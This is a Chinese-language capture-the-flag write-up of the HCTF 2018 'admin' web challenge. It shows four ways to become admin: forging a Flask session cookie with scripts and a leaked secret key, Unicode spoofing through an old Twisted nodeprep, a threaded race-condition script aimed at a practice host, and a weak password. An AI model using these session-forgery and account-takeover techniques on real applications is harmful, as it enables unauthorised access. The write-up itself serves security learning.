[HCTF 2018]admin
4 种解题思路
- 1.flask session 伪造
- 2.unicode 欺骗
- 3. 条件竞争
- 4. 弱密码
# 1.Flask ssion 伪造
在 change password 页面查看源码,发现提供了题目的源码地址
<!-- https://github.com/woadsl1234/hctf_flask/ --> |
想要伪造 session,需要先了解一下 flask 中 session 是怎么构造的。
flask 中 session 是存储在客户端 cookie 中的,也就是存储在本地。flask 仅仅对数据进行了签名。众所周知的是,签名的作用是防篡改,而无法防止被读取。而 flask 并没有提供加密操作,所以其 session 的全部内容都是可以在客户端读取的,这就可能造成一些安全问题。
具体可参考:
https://xz.aliyun.com/t/3569
https://www.leavesongs.com/PENETRATION/client-session-security.html#
我们可以通过脚本将 session 解密一下:
#!/usr/bin/env python3 | |
import sys | |
import zlib | |
from base64 import b64decode | |
from flask.sessions import session_json_serializer | |
from itsdangerous import base64_decode | |
def decryption(payload): | |
payload, sig = payload.rsplit(b'.', 1) | |
payload, timestamp = payload.rsplit(b'.', 1) | |
decompress = False | |
if payload.startswith(b'.'): | |
payload = payload[1:] | |
decompress = True | |
try: | |
payload = base64_decode(payload) | |
except Exception as e: | |
raise Exception('Could not base64 decode the payload because of ' | |
'an exception') | |
if decompress: | |
try: | |
payload = zlib.decompress(payload) | |
except Exception as e: | |
raise Exception('Could not zlib decompress the payload before ' | |
'decoding the payload') | |
return session_json_serializer.loads(payload) | |
if __name__ == '__main__': | |
print(decryption(sys.argv[1].encode())) |
运行脚本,解密一下 session
python decode.py .eJxFkE1rwkAURf9KeWsX-SAbwUVgYrDwXpCOhjcbsUk0M8lYiEr0if-9qYV2feDee-4DdoehObcwvwzXZgY7W8P8AW-fMAeK-MZ66bl8b1EZX5QoRtU96e5WaGNJsZBKE3SZGJclJucYHQdGV3eKMCxyFJRVZFQaUE6Wo3XI0lrMs4B13aNax1iSQ9cJlqsRpYuNq0IsTctSjSybkPXWTv3WuE1iHPVcbmIu13ejjgl56gvNN3K8gOcMqvNw2F2-uub0p4DqZ1IVsVvaIs-EfDaSTicNDND1LUoqlC8t62qcZsTktx7HxSvO-v2x-U-SdvhIf8lp7ycAIczgem6G12cQBvD8BtkcbD4.YMn_Pg.PfMYnCtdkcgwd0erQ0NEzJOyqH8 |
修改 session 中的 name 为 admin,之后再加密。
密钥在源码里 config.py 可以找到。
加密脚本:
https://github.com/noraj/flask-session-cookie-manager
python flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'7f1a1faba06f9c3d7e59196b463409213f19df7264e727c58c3326d044cbcd5c8b0a4a7e0471cc2931b0397f751fac70c55a5babbf59f3eae7ad2d896ce96166', 'csrf_token': b'067276b1b8a36a0503d3429a3034aba702976ef3', 'image': b'38kH', 'name': 'admin', 'user_id': '10'}"
得到修改好的 session
修改 cookie 后,拿到 flag
# 2.unicode 欺骗
register 和
login 对用户名使用了自定义函数
strlower ()
nodeprep.prepare()
来自
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep |
在 requirements.txt
中可以看到 Twisted
的版本
Twisted 版本为 10.2.0,而目前 (2020/10/28) Twisted 最新版本已有 20.3.0,这里使用的版本非常旧
10.2.0 版的 nodeprep.prepare () 对一些特殊的 Unicode 编码处理后会得到一个正常的字符
使用以下网站寻找 admin 账户的特殊 Unicode 编码
https://unicode-table.com/en/search/?q=Modifier+Letter+Capital
def strlower(username): | |
username = nodeprep.prepare(username) | |
return username |
不知道为啥,我这个 unicode 转换会报错,就 utf-8 编码一下吧。站长工具是可以直接转的。
那么注册一个账户 ᴬᴰᴹᴵᴺ
,注册时 nodeprep.prepare()
处理一遍得到 ADMIN
,然后修改密码时 nodeprep.prepare()
会进行第二次处理,得到 admin
即可修改 admin
账户密码
再登录 admin 的账号,就能得到 flag。
# 3. 条件竞争
在 session 赋值时,登录、注册都是直接进行赋值,未进行安全验证,也就可能存在以下一种可能:
我们注册一个用户 test,现在有一个进程 1 一直重复进行登录、改密码操作,进程 2 一直注销,且以 admin 用户和进程 1 所改的密码进行登录,是不是有可能当进程 1 进行到改密码操作时,进程 2 恰好注销且要进行登录,此时进程 1 改密码需要一个 session,而进程 2 刚好将 session [‘name’] 赋值为 admin,然后进程 1 调用此 session 修改密码,即修改了 admin 的密码。
由于 buu 限制 web 的并发线程,复现并没有成功。
import requests | |
import threading | |
import time | |
def login(s, username, password): | |
data = { | |
'username': username, | |
'password': password, | |
'submit': '' | |
} | |
return s.post("http://15fddabe-7ab9-4003-bdbf-94c0ad678413.node3.buuoj.cn/login", data=data) | |
def logout(s): | |
return s.get("http://15fddabe-7ab9-4003-bdbf-94c0ad678413.node3.buuoj.cn/logout") | |
def change(s, newpassword): | |
data = { | |
'newpassword':newpassword | |
} | |
return s.post("http://15fddabe-7ab9-4003-bdbf-94c0ad678413.node3.buuoj.cn/change", data=data) | |
def func1(s): | |
login(s, 'test', 'test') | |
change(s, 'test') | |
def func2(s): | |
logout(s) | |
res = login(s, 'admin', 'test') | |
if 'flag' in res.text: | |
print('finish') | |
if 'Too Many' in res.text: | |
print('wrong') | |
def main(): | |
for i in range(1000): | |
print(i) | |
time.sleep(0.5) | |
s = requests.Session() | |
t1 = threading.Thread(target=func1, args=(s,)) | |
t2 = threading.Thread(target=func2, args=(s,)) | |
t1.start() | |
t2.start() | |
if __name__ == "__main__": | |
main() |
# 4. 弱密码
账号 admin
密码 123
得到 flag
# 5. 知识补充
pip 安装特点版本的模块
安装指定版本:
pip install openpyxl==2.3.4
更新到最新版本:
pip install --upgrade openpyxl